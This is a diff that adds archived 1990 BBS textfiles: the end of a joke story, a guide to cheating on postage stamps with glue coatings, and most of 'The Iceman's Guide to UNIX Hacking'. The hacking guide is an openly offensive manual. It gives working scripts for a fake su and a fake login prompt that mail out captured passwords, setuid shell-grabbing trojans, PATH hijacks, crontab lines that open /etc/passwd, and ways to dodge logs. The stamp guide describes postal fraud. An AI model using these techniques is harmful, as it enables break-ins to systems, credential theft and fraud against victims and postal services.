contemplativly. + Lacy had difficulty in telling interviewer and interviewee apart. "Yeah, well, +I try" He said, having the good grace to blush "by the way , have you tried my +banana-aphrodisiac? guarenteed to seduce the most resistive victim, and new +from LP Labs!". It was Kylis turn to wriggle with embarassment. Her audiece +figures were down too, saw Lacy, glancing at the disguarded newspaper."Never + mind Kylie", thought Lacy, turning off the television, and retiring for the + night,"In disgrace, no-one will see you squirm" + +------------------------------------------------------------------------------- +AUTHOR : Bat Bastard +------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS +------------------------------------------------------------------------------- + + + + + + + diff --git a/textfiles.com/groups/BANANAREPUBLIC/stamps.txt b/textfiles.com/groups/BANANAREPUBLIC/stamps.txt new file mode 100644 index 00000000..36aedd0c --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/stamps.txt @@ -0,0 +1,74 @@ +File : STAMPS.TXT +Author : Pharlap Johnson +BBS : The Banana Republic BBS + + + CHEATING STAMPS v2.0 as directed by Pharlap Johnson + + + Just a quick note to those who are exceptionally dumb. The contents of + this file are about illegal things so if that turns you off then reset + your computer now! Stamp cheating is fraud and if you get caught then + you could be in real shit.....but if you do get caught then you are a + poor criminal. Always remember, if you can't do the time, then don't do + the crime! + + +The Glue Method: + +Cheating stamps is real easy and there are a few different ways of doing it. +Basically what you are trying to achieve, is to put something on the stamp +that can aid the removal of the post mark. The obvious thing to think of is +sellotape but sellotape looks very obvious so forget it now. More guys have +been caught using sellotape than anything else. The best thing to use is +GLUE! The sort of glue you want is paper glue and comes in the form of a pen +for easy application. All you do is cover your stamps with the glue and when +it dries it leaves a nice thin plastic coating. You should experiment around +so you can get the optimum layer of glue on your stamps. You neither want too +much glue which can look extremely obvious or too less glue in which case the +postmark, when stamped, will go straight through your plastic layer and mark +the stamp. Different brands of glue give totally different results. When I +started out I was using a poor brand of glue that was extremely obvious and +you needed to apply heaps of it to protect the stamp. New Zealanders are +advised to use Sprite Paper glue but you overseas guys will have to experiment +around to see what brands are best. So there we are, it is very simple. If +you should get caught then you must be a real idiot! It is so easy to do this +and get a perfect coat that is close to invisible. I reckon that you should +get about 10 uses out of each stamp and one cannot complain at that! + + +Miscellaneous tips: + +- a lot of the time if you send a pack with defficient postage it will get + there safely anyway. A good example of this is I have about 10 Swedish + contacts and the amount of postage they put on similar sized packs varies + from 2.50 krone to 15 krone! That is a fair saving. Unfortunately some + Post Offices are strict and won't let stuff with a large amount of + defficient postage go the service that is required ie they may send it + surface mail instead if air-mail. +- If you are not gluing your stamps then place them all over the envelope. + Post Office workers usually cannot be bothered stamping about 10 different + stamps and will probably just postmark a couple of them. +- Always look closely at stamps that you receive. Sometimes, like above the + Post Office will miss postmarking a couple of them or alternatively they + will only catch the corner of it. This is good becuase if just the corner + has been nicked then you can reuse the stamp. Either rip off the corner or + carefully when putting stamps on envelope/package, lay another stamp just + over the postmark to cover it up. + + +The Ultimate: + +The ulitmate thing to be able to do is soak used, postmarked stamps in a +solution that gets rid of the postmark but leaves the stamp in perfect +condition. I know that this has been done and an English guy was caught doing +it in late '89. Just imagine the endless possibilities! There is another +method that can be done and is what we use but that is top secret and I only +tell my close friends. Happy cheating and catch you on the Banana! + +------------------------------------------------------------------------------- +AUTHOR : Pharlap Johnson +------------------------------------------------------------------------------- +Brought to the WORLD by the Banana Republic BBS, Auckland, New Zealand. +------------------------------------------------------------------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/unixhack.txt b/textfiles.com/groups/BANANAREPUBLIC/unixhack.txt new file mode 100644 index 00000000..796dceda --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/unixhack.txt @@ -0,0 +1,1319 @@ + +File : UNIXHACK.TXT +Author : Iceman +BBS : The Banana Republic BBS + + +Ver: 1.30 THE ICEMAN'S GUIDE TO UNIX HACKING Updated:6/1/90 + ================================== + +Introduction: +============= + + This file is definitely not for people who have never used UNIX before. It +assumes a working knowledge of UNIX as well as the principles behind it. There +are dozens of books around on UNIX - a good place to start is S.R. Bourne's +'The UNIX System'. Most of the technical information in this file was gleaned +from the Bell Systems Technical Journal, the XINU and MINIX texts, the SYSV and +Ultrix manuals, and sundry other books. + Note also that this document assumes you have some sort of access to a UNIX +system. There are quite a few files on getting into UNIX systems floating +around; I won't bother rehashing them all. This file tells you what to do once +you are in. + + +Logging In: +=========== + + The easiest way to have fun with UNIX is to have a root shell - the super- +user's shell. Having done this, it is possible to create trapdoor programs +that make it easy to get on later. As super-user, you can patch the login +program from source available to you on the system, to save every password to a +secret file for your later enjoyment. A big loophole in UNIX are executable +logon names such as 'w' and 'date'. These can be identified in the password +file /etc/passwd as having no password: + + w::101:50:Print users on the system:/bin/:/bin/w + +Note the blank second field: No password. You can get these login names to +execute shell scripts: Once you have obtained root privileges, even if only +temporarily, you can place an entry in the password file to run a script at +login. This script can be changed at ANY time to do exactly what you want. To +add a script called foo, create the entry: + + foo::102:50::/:/usr/junk/foo + +where foo can be any shell script. The reason this works is because getty +(which prints the login prompt) is run by init, and the owner of init is root. +That privilege is passed on to the script because it is being run at login +time, and routines that run at login time usually need root access to perform +necessary initializations. + A useful command to search the passwd file for all logins that don't have +passwords is: + + grep '^[^:]*::' /etc/passwd || echo "All logins protected (sigh)" + + A few bugs are also floating around very old versions of UNIX that give +away root capability, for example if no user ID is specified in a user's entry +in the passwd file, the user ID defaults to 0 or root. An example is: + + root::::Superuser:/:/bin/csh + + Also, if the first line in the password file is a blank, you can login as +root with no password. Some system entries such as bin sometimes have no +passwords, in which case you can logon as bin, and then edit /usr/lib/crontab +to do a chmod on the password file, giving yourself access to it. Just add +something like: + + * * * * * chmod 666 /etc/passwd +or + * * * * * chmod a+rw /etc/passwd + +to the crontab file. This will allow anybody to read or write the passwd file. +Or you could put: + + * * * * * chmod 4777 /tmp/door + +giving yourself the trapdoor discussed elsewhere in this document. This works +because cron is executed by init, which is owned by root, so that any process +run by cron has root privileges. The asterisks tell cron to execute at the +next possible moment. Alternatively you can specify a time for it to run and +do it at an off-peak time (after the superuser has gone home, when he is out to +lunch etc). The 4xxx sets the setuid bit (for more on file protection bits, +see the section "Files" below), which allows the person executing the file to +assume the same priviledge level as its owner, in this case root. The x777 +part lets anyone run/access the file as for the passwd example. You can also +alter /etc/rc ("Run Commands") to change the password file. This file is run +auto- matically at startup to configure the system. Again, all you have to do +is wait for the system to be rebooted, which chmod's the password file, and +then edit it. + cron can be quite useful for this sort of thing. If you have write +permision to a system directory, you can store a fake version of a system +command that would be executed by cron in there, and then wait for the event +that would cause it to be run. The fake version would, of course, have some +sort of trapdoor mechanism built into it. On the distribution tape of 4.2BSD, +for example, the /usr/spool/at directory is universally writeable by all users, +making it a prime target for this method. cron can also be valuable for giving +yourself access to a system atfer the superuser has kicked you off. + + A useful command for finding programs with the setuid/setgid bits on is: + + find

\( -perm -4000 -o -perm -2000 \) -print | sort + + where dir is ant directory. All of the subdirectories of this directory +are recursively scanned. Note that beacuse of this it is a real CPU hog. + Finally, some systems are distributed with default vendor-supplied +passwords. If the system was set up by inexperienced users, they will often +overlook changing these default passwords. A classic example of this was an +early BSD release, which defaulted to no password for the root account on the +distribution tape. + +Files: +====== + + Each UNIX file has associated with it 11 bits, together with a user ID +(UID) and group ID (GID). Nine of the bits specify permission to read, to +write, and to execute the file to its owner, to members of the owners group, +and to all other users of the system. The last two bits, called the set-UID +and set-GID (SUID and SGID) bits, are referenced only when a file is executed +as a program. If the SUID bit it set, then the effective UID of the person +running the program has all access priviledges of the program's owner. The +SGID bit works in a similar way for groups. An example of a program that uses +this SUI capability is the /bin/passwd program, used to change entries in the +password file, which is not normally world-writeable. To write to the password +file, passwd must access /etc/passwd and change the users encrypted password +stored there to the new version. Thus all users are able to alter the +sensitive /etc/passwd file, but only as permitted by /bin/passwd. UNIX also +recognises a special user, referred to as the super-user, with UID 0, who has +unrestricted access to all files in the system regardless of ownership or +protection configuration, and can execute priviledged system commands. Anyone +who has a UID or GID of 0 is treated by the system as root. + The most important files in a UNIX system from a hacking point of view are +/etc/passwd, /etc/*rc, /usr/lib/crontab, and usr/lib/uucp/L.sys. Files to +watch for are ones with the SUID or SGID bits set. You can modify these files +to misuse the temporary root status to do all sorts of fun things, and then +alter the date as described below so no-one will know. An example of this is +the /bin/passwd command described above. /etc/passwd has its SUID bit set to +/etc/passwd's owner, which is root, so while passwd is running, you have root +privileges. When the command terminates, so do the root privileges, unless you +have altered the command in some way. This is the classical trapdoor: It is +just another process, a clone of an ordinary user shell with one significant +exception: The UID is 0, or root. What happens is that when the trapdoor +program is run, the program changes the effective UID to that of the owner of +the file, ie root. It then spawns a shell via the exec() call, and presto, one +shell with root privileges. Some points to watch for: The standard way to do a +trapdoor is to have a program that acts as normal unless you call it with a +wierd option such as '-xyzzy' (note that progs such as ls are no good for this +as ls accepts virtually anything as some sort of valid switch). + A trap to fall into while playing with root is to generate an entry in a +log file such a sulog. uucp also keeps a log file. Paranoid superusers may +also get other progs to create logfile when used. + + +SU: +=== + + This command lets you substitute another UID for your own, but I don't +recommend it as all su activity is recorded in a file called /usr/adm/sulog. +As super-user you can edit this file, change the modification date, etc, but it +just isn't worth the effort, as the superuser can also use ps to find out if +anybody is using su. However it does have its advantages: By examining it you +can at once identify any useful 'targets' on a system - anybody who can su to +root is a worthwhile target for hacking activity. The sulog is really a well- +meaning (for systems administrators) but misguided attempt at security, as +there are far safer methods to become root than with su, and yet it helps to +identify potential targets for hacking. Avoid su if you can. (Anyway, to su +to root you must have the root password anyway, so why stuff around with su +when you can just login as root). However, su does have one great advantage: +It can be used to find out all the passwords used by other users of su. The +general program flow of su is: + + Get info on user: uid, gid, password, tty,.... + If the password is null or the uid is zero + Go past the password questions + + Prompt for the password + If the encrypted version of what was just typed doesn't match the + /etc/passwd entry + + Log an unsuccessful su attempt + Print "sorry" + Exit + + Log a successful su attempt + Make the system calls to force uid and gid + Set up the environment if requested. + If you are not on the system console and this is a root shell + Log a message to the system console + Fix up argv to show su in a ps command + Exec a shell + + Obviously you will need to get rid of the logging of su in /usr/adm/sulog +and to the console, and the fixing up of argv to show su in a ps command. Also +you would have to add checks for a "secret" password of your own so su bypasses +the normal password checking sequence. Finally, you would have to add extra +code to log all passwords to su to be logged in a secret file, so that +gradually you would obtain all the interseting passwords on the system. +However, it would probably be a lot easier to patch login, since here there is +no need to bypass the complicated logging of program use to various places. + An alternative is to create a dummy of the su command which saves the +password in some obscure corner of the system, and then exits, removing all +traces of itself. The following shell script should do the trick: + + stty -echo + echo -n "Password:" + read PASSWORD + echo " " + stty echo + echo $PASSWORD | mail & + sleep 1 + echo Sorry. + rm su + + +Accounting Files: +================= + + The UNIX accounting file has a record of every process that runs on the +system (you can find the exact structure in /usr/include/sys/acct.h). One of +the fields in this structure records the processess that have superuser +capabilities. When someone uses a root trapdoor, the processes they spawn are +owned by root. The accounting file takes the terminal number from which the +process was run, so the superuser can look for root processes run from +terminals that wouldn't normally be used by people authorized for root access. +When processes have a UID different from that of the person running them, the +accounting files can be very revealing. Things that really make the superuser +suspicious are shells with the su flag set - this is a dead giveaway of a +trapdoor. You can view your accounting info with: + + acctcom -b -u$USER + + Another interesting accounting file worth having a look at is +/usr/adm/wtmp, which contains a record of all the logins since it was created. +The file /etc/utmp contains info on users currently logged on (this file is +used by the 'who' command). + + +Unsuccessful Logins: +==================== + + Some systems record unseccessful logins. The login time, terminal, and +username are stored, but unfortunately the password used is not recorded. +However a reasonably common mistake is to type in a password when asked for a +login name, or try to type too fast (because of people like me looking over +their shoulders) and type in half the password at the end of the login line as +you fumble for the return key. At any rate, the end effect is that invariably +a few passwords are collected along with login names in the logfile. All that +is necessary is to check all names in the login file with /etc/passwd - any +name not in this but in the logfile has a good chance of being a password. + Some systems will count the number of consecutive unsuccessful login +attempts for a particular user and disable the account after the number crosses +a certain threshold. This value is usually three attempts. This is a marginal +nuisance for would-be hackers, but is great for getting rid of the super-user: + + login: root + Password: zot + +repeated the appropriate number of times should ensure privacy for a while at +least. + + +Physical Access to the Root Terminal: +===================================== + + Chances for this are rare; it is also very risky to be caught tampering +with the super-users terminal, but anyway: All you need to do from the +superusers terminal is chmod to set the userid bit on your +already-compiled-and-ready-to-go program just waiting to have the permissions +changed. If a terminal is left logged in as root at night while backups are +performed, or if you can use the superusers office for some other legitimate +activity and they leave for a few minutes, this is a golden opportunity not to +be missed. + + The standard booting operation for UNIX systems brings the system up in +superuser mode, without requiring a login sequence or password. During this +time, the system identifies all commands as coming from root, so that anyone +who can reboot the system can become root. The only prerequisite to do this +is, again, access to the system console. Also, on some systems if the boot +sequence is interrupted, they will drop into some sort of low-level monitor +program. However doing anything other than restarting the reboot from these +monitors is generally painful. + + +Capturing Shells: +================= + + Another neat trick is to get people to execute a command which saves a +shell owned by them that you can run in some safe area. A shell script to do +this is: + + #! /bin/csh -f + echo "#! /bin/csh -i">/tmp/$USER + chmod 4555 /tmp/$USER + +This saves a script to invoke an interactive shell in tmp/$USER (note you can't +save it straight to your $HOME as this would involve giving the victim write +access to it) which is executable by anybody and with the SUID bit set. Thus +you can "become" the victim at any time. + + +Taking advantage of $PATH: +========================== + + Usually $HOME/bin is one of the first entries in the PATH variable. If +this is before /usr/bin, you can put a file in the victims /bin directory, such +as ls, which will be executed instead of the standard ls. Once they execute +this ls, it will run with the same capability as the person running it. An +example fake ls shell script is: + + echo "#! bin/csh -i" > /tmp/$USER + chmod 4555 /tmp/$USER + rm ls + `$1` + + This is just the standard getshell presented above. The `$1` passes the ls +command on to the shell - this is necessary because if the victim types say 'ls +-l' and the response is a simple 'ls' they will become a bit suspicious. Note +that the backquotes are necessary - they force the passing on of the typed +command to the shell as is. The 'rm ls' removes any suspicious evidence in the +victims directory. + If the first entry in $PATH is '.' (eg $PATH=.:$HOME/bin:.....) then users +will unwittingly execute programs in whatever directory they are in in +preference to the usual system-wide command. So it becomes a simple matter to +create a directory with some tempting programs in it (games etc), give everyone +acces to it, and then create a local version of, say 'ls', which is yet another +getshell program, eg: + + echo "#! bin/csh -i" > /tmp/$USER + chmod 4555 /tmp/$USER + `$1` + + These programs can be used in conjunction with SU (described above) to give +superuser passwords but this is quite risky - it is doubtful whether any +superuser will be fooled that easily. + An interesting point to note is that it is not necessary to explicitly +put a . in $PATH. Merely having two colons in a row (::) as part of $PATH, or +even just one colon if it is at the start or end of $PATH, is enough to include +rhe current directory in the search path. Thus the following (somewhat +exaggerated) PATH definition would search the current directory six times if +the command was not found: + + PATH=::/bin::usr/bin:.:/usr/ucb:: + 1 2 3 4 5 6 + + Finally, many systems programmers modify the root search path for their own +convenience, and then forget that these same paths will be used by system +maintenance scripts run automatically over night (see the section on using cron +in "Logging In"). Sometimes people's .profile or .login files are +world-readable, making it very easy to place dummy versions of commands in +their way. + +Login Decoys: +============= + + The standard UNIX login sequence is as follows: + + First, init spawns getty ("Get Teletype"), which is initiated from the +/etc/inittab file, on a specific tty number at a specific speed. This sets up +the line characteristics and prints the login prompt. When a user types a +login name, getty checks it for validity, then execs the login program. Login +prompts for the password, encrypts it, and checks it against the encrypted +password in the /etc/passwd file. If the passwords are the same string, login +execs a shell that prints the shell prompts and reads your commands from the +terminal. The actual shell is determined from the passwd file, given by the +entry for that login name. There are several places in this chain open to +attack, the best place being right at thet start, with getty. + When getty is waiting for a login, it prints the string in /etc/gettydefs. +All you need to do is write a short program to put up a dummy of this, save the +password off to some secure place, print an error message (the standard 'login +incorrect' message), and then execute the standard login. The following shell +script should do the job: + + echo -n "login: " + read NAME + stty echo + echo -n "Password: " + read PASSWD + echo "" + stty echo + echo $NAME $PASSWD | mail & + sleep 1 + echo "Login incorrect" + stty 0 > /dev/tty + + This simple script asks for your name, password, spawns a background +process to mail them to you, waits for a while, and then announces a bad +password to the victim and quits. Note that this is meant as an example only - +it should be written in C, with all signals to it disabled, to stop someone +using ^C to break out into your shell - in that case you would become the +victim. Another alternative is to follow the suggestions in the section on +shell fault handling. Note also that you cannot simply leave a process running +after you logoff - when you try to log off you will be warned that you still +have a process running, and if you try to log off a second time it will be +killed. To bypass this, use the 'nohup' (no hang up) command. This will +prevent disconnecting (hanging up) the terminal from killing the process. The +format is: + + nohup + + The nohup command can also be faked with: + + trap " 1 2 3 15 + exec "${@?}" + + The trap turns off the signals specified so that they are ignored by the +subsequently created commands, and the exec replaces the shell by the command +specified as arguments. Note that commands run with 'nohup' can also run +invisibly in the background with an &. + + This can only be used to catch users on publicly used terminals though - I +doubt any superusers could be fooled (even if you could get at their terminals, +there are better things to do with them than play around with dummy logon +shells). + +Password Aging: +=============== + + Recent releases of UNIX have a neat feature called password aging, which, +if enabled by the super-user, forces people to change their passwords every so +often. The idea behind this is that even if someone finds out a password, it +will only be of use for a limited amount of time. What happens is that when +the password has expired, on logon the user is greeted by the message "Your +password has expired. Choose a new one", and execution of the passwd command is +forced rather than dumping the user into a shell as usual. Also, to prevent a +user from changing a password from X to Y and then promptly back to X again, +passwd refuses to change a password that is less than one week old. + And now for the good part: This system is (believe it or not) quite useful +for hackers. Because most users aren't expecting this sort of thing when they +logon, they will have absolutely no idea of what to use as their new password. +As a result, people will tend to come up with incredibly stupid passwords on +the spur of the moment, with the intention of 'changing it later', but without +any clear indication of exactly when 'later' is. Also, if the new password is +discovered, it cannot be changed for a WHOLE WEEK by the user - plenty of time +for having all the fun you want with that account. Another point is that even +if users do use reasonably nontrivial passwords, all that the ageing will +generally make them do is toggle between two passwords - if you know both +you're fine. + Obviously this feature is a prime target for a login decoy type program - +an expired password is a perfectly valid reason for forcing a user to retype a +password - far more valid than "line noise" or a "typing error". However you +must then be careful to *really* change the expired password or the victim may +become just a bit suspicious. It is also possible to scan the /etc/passwd and +check for expiry dates of passwords - in the current implementation it is +stored in an encoded, but not encrypted, format just after the encrypted +password. With this method you can instantly find all expired accounts, and +also find out how long various accounts have to go before they expire. However +merely reactivating an expired account is not too safe as the real owner may +turn up and wonder why his password no longer works and/or why he doesn't at +least get the 'expired' message. + Some newer systems also require a certain format for passwords, eg at least +6 characters, or at least 6 letters and one digit. Some earlier versions of +passwd allowed any-length passwords on the second attempt at running passwd, +but this has been removed in more recent releases. The effect of the 1-digit +rule is that people append a digit in the range 0-9 at the ends of their +passwords, so all that is required is that you try the same password with +10-digit variations instead of just typing it in straight. It is interesting +to note that in a recent study of super-user passwords on systems that used +this sort of password style, the most common 20 female names followed by a +digit in the range 0-9 (ie 200 tries per password) gave access to quite a few +systems. Now that's a super-user password just by guessing (so it's quite a +bit of typing, but it also doesn't involve any of the somewhat risky acrobatics +described elsewhere in this document). + + +Setuid Shell Scripts: +===================== + + An easy way to achieve superuser capabilities is through the use of setuid +shell scripts. For the Bourne shell, the first line of a script will be: + + #!/bin/sh + + What happens is that the kernel discovers the magic number #! and tries to +execute the command interpreter pointed out, which may be followed in the +script by one argument. Before the exec() of the interpreter, the UID and GID +fields somewhere in the user structure of the process are filled in. In C, the +process carried out is: + + execl("/bin/foo", "foo", (char *) 0); + + which comes to: + + setuid(0); + setgid(0); /* Possibly */ + execl("/bin/sh", "sh", "/bin/foo", (char *) 0); + + All that is necessary is to make the name of the script equal -i, which can +be done by linking the script to a file named -i. Thus the exec() becomes: + + execl("/bin/sh", "sh", "-i", (char *) 0); + + which creates an interactive shell with UID 0. + + For the csh, the process is somewhat different. The csh refuses to run a +setuid script unless the -b ("break") option is present. What the -b option +does is try to prevent the above from happening, ie it prevents following +arguments of an exec of /bin/csh from being interpreted as options. However +there is still a way to get around this problem, albeit not a particularly easy +one. The idea is to get in between the setuid()/setgid(), and the open() of +the command file by the command interpreter, and quickly unlink() the link to +the setuid shell shell script and then link() in some other shell script. +Another possibility is the creative use of the $PATH variable as described in +the section "Taking Advantage of $PATH". + + The idea of getting in between system calls in a program can be extended to +other setuid programs as well. For example, the mkdir command, which is a +setuid program owned by root, works by first creating the inode for a directory +with the mknod() system call, followed by a chown() to change the owner from +root to its real owner. In this case all that is needed is to remove the +directory inode and make a link to the password file under the name of the +directory. Then, when the chown() call is executed, the user becomes the owner +of the password file. + While in theory this would seem to take incredible luck, it is in fact a +relatively simple matter to create a shell script which performs some action to +slow the system to a crawl, while at the same time repeatedly trying the above +methods. A suitable means of slowing the system down is via the mail daemon - +create a process which sends yourself endless zero length messages (but don't +overdo it - I once caused a minor panic through runaway mailing which +overflowed several internal tables used by the system, at which point the +process was killed by a seperate safety-net watchdog process). + + +Some brief notes on other methods: +================================== + + False tape release: Rather obscure: Get hold of an old update tape, patch +it, send it to the superuser, and hope they use the 'updates' on the tape +without getting too suspicious. + + Passwd encryption: The algorithm used is the DES (Data Encryption Standard) +algorithm with an added twist: one of 4096 variants is chosen, dependant on two +randomly generated chars called 'salt' in the /etc/passwd file. You could grab +a password, use its salt and encrypt a list of known passwords. If the result +matches the sample password, you're in. This is a lot of work, and also +involves a lot of use of the system command crypt. This command is specially +designed to chew up enough CPU time to make it very inconvenient for repeated +use. Also repeated use of it will probably attract the superuser. One way in +which this method can be used is to encrypt a sample of possible passwords on a +secure, and preferably fast, system (such as the Cray you broke into last +week), and then use the pre-encrypted passwords on the target system. Another +way is to create you own program to pre-encrypt passwords at high speed on your +own system for later use, a method I use frequently. + + Mount command: Only good on floppy systems. Get a system on which you can +become superuser, make a trapdoor and put it on a disk, take the disk to the +target system and mount the file. You now have a file with superuser access +(this is about the only thing PC-UNIX is good for.....). This is sometimes +protected against by making mount restricted, or not allowing the mounting of +setuid files. + + Source code patches: Patch passwd, chown and chmod (to not check if you +have a uid of 0), crypt, su (to not update sulog), ps (to not show root +accesses) etc. A lot of work, and far too complex to explain here (it involves +getting the source, compiling it, becoming root, swapping the files, resetting +any dates/log entries etc, as well as just plain doing the patching. How do +you test a program that needs to be run in superuser mode without running it in +superuser mode? Catch 22). + + Reading supposedly blank memory pages/disk space: Many systems do not erase +newly allocated memory pages or disk space, and they can be full of interesting +information left there by the previous owner. Note, however, that it is not +possible to acquire passwords in this manner - the nature of the DES encryption +ensures that the password is never stored internally in any decrypted form. A +related technique is that of modifying data structures that are stored in user +space. Often, programs will build up complex data structures to access +streams. As the stream is written or read, the system updates these +structures. Changing these structures can have some interesting effects. A +good idea is to look at the files in /usr/include/sys/*.h for details of these +data structures. + + Taking advantage of trusted logins: One of the most useful features of BSD +UNIX systems is the ability to execute tasks on remote machines. To avoid +having to repeatedly type passwords to access remote accounts, it is possible +for a user to specify a list of host/login name pairs that are assumed to be +trusted, in the sense that a remote login from that host/login pair is never +asked for a password. The files /etc/hosts.equiv, /.rhosts, and $USER/.rhosts +contain lists of trusted systems. Quite often, these machines and accounts are +set up for reciprocal trust. In this manner, it is a relatively easy matter to +first obtain access to a less-trusted system, and from there migrate onto more +secure systems, without having to go through the usual rigmarole to bypass +security measures. + + Resource exhaustion: Very little protection is offered against excessive +consumption of resources by users. Therefore it is possible to degrade system +performance, or even halt it altogether, by exhausting such resources as +inodes, disk storage, files, processes, and swap space. The only real use for +this is mentioned in the section "Setuid Shell Scripts". A related method is +to feed invalid parameters to programs, which are often not set up to handle +them properly (for more on this see "Advanced Techniques"). + + Create a pseudo-device: In the file /etc/master or /usr/sys/conf/master is +a table of all the device driver names associated with each primitive. To +create a pseudodevice, put a new entry in the device driver table (the table +names the routines that support the primitives). The open() syscall then calls +the device driver, and since the open() call was in system mode, the device +driver also runs in system mode. From there it's up to you (if you can write a +UNIX device driver then getting on from this point is child's play). + + Impersonate a remote uucp node: Details of uucp are given in the "Tricks +with UNIX Comms" section below. Basically it involves looking in the +/usr/lib/uucp/L.sys file for logins for remote systems. Then look in +/etc/passwd for logins that run uucico progs rather than a regular shell. Then +change the node name of your UNIX system to the node name of the remote system +to impersonate, login under uucp or the special login name described above. +uucp will give the (fake) node name to the target system. You can then +transfer progs, mail etc back and forth. If you plan to do this on a regular +basis, remember to forward the mail to the system you are impersonating +otherwise the administrators of both systems may become suspicious. It should +also be possible to export setuid files the the target system, providing yet +another potential source for trapdoors. + + Remove the password file: Some early UNIX systems had a subtle bug whereby +the lpr utility, if invoked with a switch that told it to remove the file after +printing it, would remove any file, including the password file. This then +allows you to log in without a password. Note that this method, while sounding +pretty drastic, is actually quite effective: Just save a copy of the password +file somewhere beforehend, and then restore it once you have become the +superuser. + + Overwrite the password file: Similar to the above (and also fixed in more +recent UNIX systems), this method involves linking a file called core to the +password file, and then forcing a core dump of a setuid program, which the +system will write on the core file, or in other words over the top of the +passwd file. In this way, it is possible to replace the passwd file with one +containing a few strings of your own choosing (for example command arguments). + + Look for all manuals that say "Do not do X". Try as many variations of X +as possible. + + Forging mail: This is not really a 'real hacking' method, and is also +pretty well known and usually protected against: In SYSV (but not XENIX System +III or BSD 4.2) your can change LOGNAME to any name, and mail will then use +this as your USERname. Of course of you are root you can just use sendmail + -r or -f to send mail supposedly from whoever you want. +There are several other holes in sendmail; however, the latest release (BSD +5.61) purports to fix all previously known problems. + + +Shell Fault Handling: +===================== + + Shell procedures such as the ones described above nornally terminate when +an interrupt is received from the terminal. The "trap" command can be used to +handle these interrupts, for example: + + trap 'halt -q -n' 2 + + sets a trap for signal 2 (terminal interrupt), and if this signal is +received will execute the command 'halt -q -n', which will crash-halt the CPU. +Signals can be handled in one of three ways: They can be ignored, in which +case the signal is never sent to the process; they can be caught, in which case +the process must decide what action to take when the signal is received; or +they can be left to cause termination of the process without the process having +to take any further action. A procedure can trap all signals by makng the null +string the argument to trap. The following: + + trap " 1 2 3 15 + + causes hangup, interrupt, quit, and kill to be ignored both by the +procedure and by the invoking commands. Traps may be reset simply by saying: + + trap 1 2 3 15 + + which will reset the traps for the above signals to their normal values. A +list of the current values of traps may be obtained by using trap with no +arguments. + The signals available under UNIX are: + + 1 SIGHUP + A hangup from the terminal. Usually results from a loss of carrier over + a phone line and can also be generated using: + + stty 0 > /dev/ + + 2 SIGINT + Terminal interrupt (^C). + + 3 SIGQUIT + Quit. This is the usual way to terminate a program when a core dump is +required. + + 4 SIGILL + Illegal instruction. + + 5 SIGTRAP + Trace trap (used by the debugger 'adb'). + + 6 SIGIOT + IOT instruction (also used by 'adb'). + + 7 SIGEMT + EMT instruction - used on some machines for FP emulation. + + 8 SIGFPE + FP exception. + + 9 SIGKILL + Kill. This signal can be safely used to get rid of and of your processes + It cannot be caught or ignored by any process. Note that you can only + kill your own processes, and not anybody elses, and that because of this + there is no danger of any other user breaking out of say a decoy login + shell script, since kill cannot be generated from the keyboard. It must + be sent with the 'kill' command, eg: + + kill -9 + + 10 SIGBUS + Bus error - usually caused by illegal pointer indirection. + + 11 SIGSEGV + Segmentation violation - caused by an illegal pointer reference, array + bounds error, or stack overflow. + + 12 SIGSYS + Bad argument to a system call. + + 13 SIGPIPE + Write to a broken pipe. + + 14 SIGALRM + Alarm clock. This is generated following the 'pause' system call. + + 15 SIGTERM + Software termination signal. This signal is the default for the 'kill' + command (mentioned above), and allows the process receiveing it to clean + up temporary files and exit gracefully. If this fails, a 'kill -9' + should be used. + + +UNIX I/O: +========= + + UNIX talks to peripherals with "special files", which may be found in the +/dev directory. Block devices such as /dev/hd0 use buffered I/O, char- acter +devices such as /dev/tty00 use character I/O. Typical devices are: + + /dev/tty Terminal + /dev/rmt Tape drive/backup + /dev/fd Floppy + /dev/hd Hard drive (block device) + /dev/rhd Raw char. device + + Note that all system resources are accessed in this way, even memory (as +/dev/mem), and the kernel (/dev/kmem). Examining these files with a 'ls -l' +will produce two numbers, the major and minor device numbers. The major number +is an index in the cdevsw[] table that contains the address of the device +driver used by the kernel for that type of device, the minor number is an id +for the particular device involved. The numbers appear in sequential order for +the devices that use the same driver. + + +Tricks with Terminals: +====================== + + Because a terminal is treated as a file, it has permissions just like +everything else. To keep people from writing to your terminal, just use chmod +600 , or the easier-to-remember 'mesg n'. There are some nice tricks +you can do with terminals. If someone has their write-protection turned off, +you can run a file like: + + while : + do + clear > /dev/tty + done & + +which is a background process which continually clears the victims screen. + You can go further than this, however. Whenever you open a file, you get a +file descriptor back, which you can then use in the ioctl system call. +Obtaining that file descriptor is the magic bit - you now have a key to that +person's terminal interface. Any ioctl alterations made to that file +descriptor take effect immediately, and you can read things being written/read +at that terminal, and even trick the terminal into executing commands for you. +An example of this is the ANSI escape sequence ESC ] , +which when sent will execute a command as if it were coming from the remote +terminal. The person using the terminal may never find out what is going on! +An interesting feature of UNIX is that once you open a device (in this case a +terminal) then you still have read/write access to it even if the owner of the +device turns off permission, and continue to have access until you close the +device. However, once you have closed it you won't have access to it any more. +There are exceptions even to this rule, however: In networks, some +workstations may cache parts of the filesystem locally. On one system I know +of, if the remote file is updated the locally cached version is not, thus +allowing access at the "old" access level until the cache is updated. + + It is also possible to use the UNIX I/O redirection facilities to play all +sorts of tricks with terminals. Under the shell, it is possible to redirect +I/O to and from file descriptor by prefixing them with an '&'. Thus the +command: + + cat > & + + will send the file to the file descriptor . It does this by +duplicating the file descriptor using the 'dup' system call, and then using the +result as the standard output. Normally the standard output/input is +designated by '-'. Thus it is possible with the commands: + + <&- +and + >&- + + to close the standard input and output respectively. + Note that since terminals are files, they have access/modify/create time- +stamps on them as described int the "Time Stamps on Files" section. These are +stored in the inodes as three longints, and can be used to, for example, find +the last time a person typed something on their terminal with 'who -u', which +uses the stat() system call to find the modification time of the device file. +If the terminal has been used in the last minute, a '.' is shown for that +terminal, if it hasn't been used for 24hrs the string 'old' is printed, +otherwise the time the terminal was last used is printed in HH:MM format. + + +Tricks with File Systems: +========================= + + Only a few brief notes here as you usually won't do any of this: + +To find out how much disk space is being used by files in a directory and +(recursively) in all its subdirectories, use the "du" command. The output from +du is a list of file or directory names and the associated number of 512-byte +blocks used. There is a similar command, "df", which prints the number of +blocks in each filesystem, a block being typically 512 or 1024 bytes. + +To access a physical partition on a disk as a block device, you must first +create a filesystem on it. This is done with the mkfs command: + + mkfs 